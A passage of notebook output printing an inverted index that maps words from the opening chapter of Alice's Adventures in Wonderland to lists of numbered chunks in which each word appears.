'spoke--fancy': [1],\n", - " 'curtseying': [1, 7],\n", - " 'you’re': [1, 10, 12],\n", - " 'air!': [1, 10],\n", - " 'do': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'could': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'manage': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'it?)': [1],\n", - " 'ignorant': [1, 2, 3, 4, 5, 6, 7, 8, 10, 11, 12, 14],\n", - " 'little': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'girl': [1, 2, 3, 4, 5, 6, 7, 9, 10, 11, 13],\n", - " 'she’ll': [1, 12],\n", - " 'asking!': [1],\n", - " 'no,': [1, 2, 3, 4, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'ask:': [1, 3],\n", - " 'perhaps': [1, 2, 3, 4, 5, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'written': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'somewhere.’': [1],\n", - " 'else': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'do,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'soon': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'talking': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " '‘dinah’ll': [1],\n", - " 'miss': [1, 2, 3, 4, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'to-night,': [1, 4, 6, 7, 10, 11],\n", - " 'should': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'think!’': [1],\n", - " '(dinah': [1],\n", - " 'cat.)': [1],\n", - " 'hope': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'remember': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'saucer': [1, 9, 11],\n", - " 'milk': [1, 3, 4, 5, 6, 7, 9, 10, 12, 13],\n", - " 'tea-time.': [1],\n", - " 'dinah': [1, 2],\n", - " 'my': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'wish': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'me!': [1, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13],\n", - " 'are': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'mice': [1, 4, 5, 8, 9, 11],\n", - " 'air,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 14],\n", - " 'i’m': [1, 10],\n", - " 'afraid,': [1, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'might': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'catch': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'bat,': [1],\n", - " 'mouse,': [1, 5, 8, 9, 10, 11, 13],\n", - " 'cats': [1, 6, 9, 10, 12, 13, 14],\n", - " 'eat': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'bats,': [1, 13],\n", - " 'wonder?’': [1],\n", - " 'sleepy,': [1, 9, 10, 11],\n", - " 'saying': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'dreamy': [1, 3, 4, 6, 10],\n", - " '‘do': [1],\n", - " 'bats?': [1],\n", - " 'bats?’': [1],\n", - " 'sometimes,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'bats': [1, 7, 8],\n", - " 'cats?’': [1],\n", - " 'for,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'couldn’t': [1, 10],\n", - " 'answer': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'question,': [1, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 14],\n", - " 'matter': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'which': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'felt': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'dozing': [1, 4, 6, 7, 8, 9, 11, 12],\n", - " 'off,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'begun': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'dream': [1, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13],\n", - " 'walking': [1, 2, 3, 4, 5, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'hand': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'dinah,': [1],\n", - " 'earnestly,': [1, 2, 3, 4, 7, 9, 11, 12, 14],\n", - " '‘now,': [1],\n", - " 'tell': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'truth:': [1, 7, 8, 14],\n", - " 'ever': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'bat?’': [1],\n", - " 'suddenly,': [1, 2, 3, 4, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'thump!': [1],\n", - " 'came': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'heap': [1, 2, 3, 4, 5, 6, 8, 9, 10, 11, 12, 13],\n", - " 'sticks': [1, 2, 3, 4, 5, 6, 8, 9, 10, 12, 13, 14],\n", - " 'dry': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'leaves,': [1, 3, 5, 6, 7, 8, 9, 10, 11, 13, 14],\n", - " 'over.': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'bit': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'hurt,': [1, 2, 4, 5, 6, 7, 8, 9, 11, 12, 13, 14],\n", - " 'jumped': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'feet': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'moment:': [1, 7, 12],\n", - " 'up,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'overhead;': [1, 4, 10, 11],\n", - " 'long': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'passage,': [1, 3, 4, 5, 6, 7, 8, 10, 11, 12, 13, 14],\n", - " 'sight,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'hurrying': [1, 2, 3, 4, 6, 7, 9, 10, 11, 13, 14],\n", - " 'lost:': [1, 5, 7, 12],\n", - " 'wind,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'say,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'turned': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'corner,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 14],\n", - " 'ears': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'whiskers,': [1, 4, 9, 11, 12, 13],\n", - " 'late': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'it’s': [1, 10],\n", - " 'getting!’': [1],\n", - " 'behind': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'longer': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'seen:': [1, 7],\n", - " 'long,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'low': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'hall,': [1, 2, 4, 7, 9, 11],\n", - " 'lit': [1, 3, 6, 7, 8, 9, 10, 11, 13, 14],\n", - " 'row': [1, 3, 4, 5, 6, 7, 9, 10, 11, 12, 13, 14],\n", - " 'lamps': [1, 2, 4, 5, 7, 9, 10, 11],\n", - " 'hanging': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'roof.': [1, 2, 3, 4, 6, 7, 8, 9, 11, 12, 13, 14],\n", - " 'doors': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'round': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'locked;': [1, 7, 10],\n", - " 'been': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'side': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'other,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'trying': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 14],\n", - " 'every': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'door,': [1, 2, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'walked': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'sadly': [1, 2, 4, 7, 9, 10, 11, 12, 14],\n", - " 'middle,': [1, 2, 3, 5, 6, 7, 9, 10, 11, 12, 13, 14],\n", - " 'wondering': [1, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'three-legged': [1, 9],\n", - " 'table,': [1, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'solid': [1, 3, 4, 5, 6, 7, 8, 9, 10, 12, 13, 14],\n", - " 'glass;': [1, 5, 7, 8],\n", - " 'except': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'tiny': [1, 3, 7, 9, 10, 13, 14],\n", - " 'golden': [1, 2, 3, 5, 7, 8, 9, 10, 13, 14],\n", - " 'key,': [1, 3, 4, 6, 7, 8, 9, 11, 12, 14],\n", - " 'first': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'belong': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13],\n", - " 'hall;': [1, 2, 7],\n", - " 'but,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'alas!': [1, 3, 7, 9, 10, 11, 12],\n", - " 'locks': [1, 3, 4, 7, 9, 10, 11],\n", - " 'large,': [1, 4, 5, 7, 9, 10, 11, 12, 13, 14],\n", - " 'key': [1, 4, 5, 6, 7, 8, 9, 10, 11, 14],\n", - " 'small,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'any': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'rate': [1, 3, 4, 5, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'open': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'them.': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'however,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'second': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'round,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'curtain': [1, 3, 4, 6, 7, 9, 11, 13],\n", - " 'before,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'door': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'fifteen': [1, 2, 3, 5, 6, 7, 8, 9, 10, 11, 12, 13],\n", - " 'inches': [1, 2, 3, 4, 5, 6, 8, 10, 11, 12, 13, 14],\n", - " 'high:': [1, 5],\n", - " 'lock,': [1, 4, 7, 9, 10, 11],\n", - " 'delight': [1, 3, 4, 5, 7, 8, 9, 10, 11, 12, 13],\n", - " 'fitted!': [1],\n", - " 'opened': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'led': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'small': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'larger': [1, 3, 4, 5, 7, 8, 10, 12, 13, 14],\n", - " 'than': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'rat-hole:': [1],\n", - " 'knelt': [1, 7, 9, 11, 12, 13],\n", - " 'along': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'passage': [1, 3, 4, 5, 6, 7, 8, 10, 11, 12, 13, 14],\n", - " 'loveliest': [1, 6, 7, 9, 10, 11],\n", - " 'garden': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 13],\n", - " 'saw.': [1, 3, 4, 5, 7, 8, 9, 10, 12, 13],\n", - " 'longed': [1, 3, 4, 5, 7, 8, 9, 10, 12, 13],\n", - " 'wander': [1, 3, 4, 7, 8, 9, 10, 11, 13],\n", - " 'those': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'beds': [1, 3, 4, 5, 6, 7, 8, 9, 11, 12, 13],\n", - " 'bright': [1, 2, 3, 4, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'flowers': [1, 2, 4, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'cool': [1, 2, 3, 4, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'fountains,': [1, 5, 10, 13],\n", - " 'head': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'doorway;': [1],\n", - " 'go': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'through,’': [1],\n", - " 'poor': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'alice,': [1, 7],\n", - " '‘it': [1, 10],\n", - " 'without': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'shoulders.': [1, 3, 4, 5, 6, 9, 10, 11, 13],\n", - " 'oh,': [1, 2, 3, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'shut': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'telescope!': [1],\n", - " 'only': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'knew': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'begin.’': [1],\n", - " 'out-of-the-way': [1, 4, 7],\n", - " 'happened': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'lately,': [1, 6, 9, 11],\n", - " 'few': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'indeed': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'really': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'impossible.': [1, 3, 7, 9, 10, 12],\n", - " 'waiting': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'back': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'half': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'hoping': [1, 4, 5, 6, 7, 8, 9, 11, 12, 13],\n", - " 'find': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'rules': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'shutting': [1, 4, 5, 6, 7, 9, 11],\n", - " 'telescopes:': [1],\n", - " 'bottle': [1, 3, 4, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " '[‘which': [1],\n", - " 'certainly': [1, 2, 3, 4, 5, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'before,’': [1],\n", - " 'alice,)': [1],\n", - " 'neck': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'paper': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'label,': [1],\n", - " '‘drink': [1],\n", - " 'me’': [1],\n", - " 'beautifully': [1, 2, 3, 4, 5, 7, 9, 13],\n", - " 'printed': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'letters.': [1, 4, 6, 9, 11],\n", - " 'me,’': [1],\n", - " 'wise': [1, 2, 3, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'hurry.': [1, 2, 4, 6, 8, 9, 10, 14],\n", - " '‘no,': [1],\n", - " 'i’ll': [1, 10, 12],\n", - " 'first,’': [1],\n", - " 'said,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'marked': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " '“poison”': [1],\n", - " 'not’;': [1],\n", - " 'read': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'histories': [1, 5, 9, 10, 13],\n", - " 'children': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13],\n", - " 'who': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'burnt,': [1, 4, 10, 12, 13],\n", - " 'eaten': [1, 2, 3, 4, 5, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'wild': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'beasts': [1, 2, 3, 4, 9, 10, 11, 12, 13],\n", - " 'other': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'unpleasant': [1, 2, 3, 4, 10, 11, 12, 13, 14],\n", - " 'things,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13],\n", - " 'because': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'simple': [1, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13],\n", - " 'friends': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'taught': [1, 2, 3, 4, 5, 7, 8, 9, 10, 11, 12, 13],\n", - " 'them:': [1, 5, 7, 10, 11, 12, 13],\n", - " 'as,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'red-hot': [1, 3, 4, 6, 8, 9, 11, 12, 13, 14],\n", - " 'poker': [1, 3, 4, 9, 11],\n", - " 'will': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'burn': [1, 3, 4, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'hold': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'long;': [1, 2, 3, 4, 5, 7, 8, 10, 11, 12],\n", - " 'cut': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'your': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'finger': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 14],\n", - " 'deeply': [1, 3, 4, 5, 6, 7, 9, 10, 11, 12, 13],\n", - " 'knife,': [1, 3, 4, 5, 6, 8, 10, 11, 12, 13, 14],\n", - " 'usually': [1, 2, 3, 4, 5, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'bleeds;': [1],\n", - " 'forgotten': [1, 2, 3, 4, 5, 7, 8, 9, 10, 11, 13, 14],\n", - " 'that,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'drink': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " '‘poison,’': [1],\n", - " 'certain': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'disagree': [1, 11],\n", - " 'you,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'sooner': [1, 3, 4, 5, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'later.': [1, 7, 9, 14],\n", - " 'ventured': [1, 2, 3, 4, 5, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'taste': [1, 2, 3, 4, 5, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'finding': [1, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'nice,': [1, 2, 4, 5, 6, 7, 8, 9, 14],\n", - " '(it': [1, 4, 5, 7, 8, 10, 11, 12, 14],\n", - " 'had,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'fact,': [1, 2, 3, 4, 5, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'mixed': [1, 2, 3, 4, 6, 7, 10, 11, 12, 13, 14],\n", - " 'flavour': [1, 7, 13],\n", - " 'cherry-tart,': [1],\n", - " 'custard,': [1],\n", - " 'pine-apple,': [1],\n", - " 'roast': [1, 3, 4, 5, 6, 7, 9, 10, 13, 14],\n", - " 'turkey,': [1, 9, 13],\n", - " 'toffee,': [1],\n", - " 'buttered': [1, 4, 11],\n", - " 'toast,)': [1],\n", - " 'finished': [1, 2, 3, 4, 5, 6, 7, 9, 10, 11, 12, 13, 14],\n", - " 'off.': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " '*': [1, 2, 4, 7, 8, 10, 11, 12, 13],\n", - " '‘what': [1, 10],\n", - " 'curious': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'feeling!’': [1],\n", - " 'alice;': [1],\n", - " 'telescope.’': [1],\n", - " 'indeed:': [1, 7],\n", - " 'now': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'ten': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'high,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 12, 13, 14],\n", - " 'face': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'brightened': [1, 4, 8, 9, 14],\n", - " 'size': [1, 2, 3, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'lovely': [1, 3, 4, 6, 7, 9, 10, 11, 13],\n", - " 'garden.': [1, 3, 4, 7, 8, 9, 10, 11, 12, 13],\n", - " 'waited': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13],\n", - " 'minutes': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'shrink': [1, 4, 7, 11, 13],\n", - " 'further:': [1, 14],\n", - " 'nervous': [1, 2, 3, 4, 7, 9, 10, 11, 14],\n", - " 'this;': [1, 2, 3, 4, 6, 7, 8, 10, 11, 12, 13, 14],\n", - " '‘for': [1],\n", - " 'end,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'know,’': [1],\n", - " '‘in': [1, 10],\n", - " 'altogether,': [1, 2, 3, 4, 8, 9, 10, 11, 12, 13],\n", - " 'candle.': [1, 4, 6, 7, 11, 12, 14],\n", - " 'then?’': [1],\n", - " 'fancy': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'flame': [1, 3, 4, 5, 7, 9, 10, 11, 12, 13],\n", - " 'candle': [1, 3, 4, 6, 7, 8, 9, 10, 11, 13, 14],\n", - " 'blown': [1, 2, 3, 4, 5, 7, 8, 9, 10, 12, 13, 14],\n", - " 'out,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'thing.': [1, 2, 3, 4, 6, 7, 8, 9, 10, 11, 12],\n", - " 'while,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'more': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'happened,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 14],\n", - " 'decided': [1, 2, 4, 6, 7, 9, 10, 11, 13, 14],\n", - " 'once;': [1, 2, 4, 7, 10, 11, 12, 13],\n", - " 'alas': [1, 6, 9],\n", - " 'alice!': [1],\n", - " 'table': [1, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'possibly': [1, 2, 3, 4, 5, 7, 9, 10, 11, 12, 13, 14],\n", - " 'reach': [1, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'it:': [1, 5, 7, 8, 11, 12],\n", - " 'plainly': [1, 2, 3, 4, 5, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'glass,': [1, 2, 3, 4, 5, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'best': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'climb': [1, 3, 5, 6, 8, 9, 10, 11, 13, 14],\n", - " 'legs': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'slippery;': [1],\n", - " 'trying,': [1, 6, 7, 9],\n", - " 'thing': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'sat': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'cried.': [1, 2, 3, 4, 6, 7, 8, 10, 11, 13, 14],\n", - " '‘come,': [1],\n", - " 'there’s': [1, 10],\n", - " 'crying': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'that!’': [1],\n", - " 'sharply;': [1, 7],\n", - " 'advise': [1, 2, 3, 4, 5, 6, 7, 8, 9, 11, 12, 13],\n", - " 'leave': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'minute!’': [1],\n", - " 'generally': [1, 2, 3, 4, 5, 7, 9, 10, 11, 12, 13],\n", - " 'gave': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'advice,': [1, 3, 4, 5, 6, 9, 10, 11, 12, 13, 14],\n", - " '(though': [1, 4, 5, 7, 8, 9, 10, 12],\n", - " 'seldom': [1, 2, 3, 4, 5, 7, 9, 10, 11, 12, 13],\n", - " 'followed': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'it),': [1, 4, 5, 7, 8, 9, 10, 12],\n", - " 'sometimes': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'scolded': [1, 2, 6, 7, 9, 14],\n", - " 'severely': [1, 3, 4, 5, 8, 9, 12, 13],\n", - " 'bring': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'tears': [1, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'eyes;': [1, 2, 3, 4, 5, 7, 8, 10, 11, 12, 13],\n", - " 'remembered': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'box': [1, 2, 3, 4, 5, 6, 7, 9, 10, 11, 12, 13, 14],\n", - " 'cheated': [1, 7, 8],\n", - " 'game': [1, 3, 4, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'croquet': [1, 9],\n", - " 'playing': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 14],\n", - " 'against': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'child': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'fond': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'pretending': [1, 3, 4, 5, 8, 9, 10, 11, 13],\n", - " 'two': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'people.': [1, 2, 4, 5, 6, 7, 9, 11, 12, 13],\n", - " '‘but': [1, 10],\n", - " 'now,’': [1, 10],\n", - " '‘to': [1],\n", - " 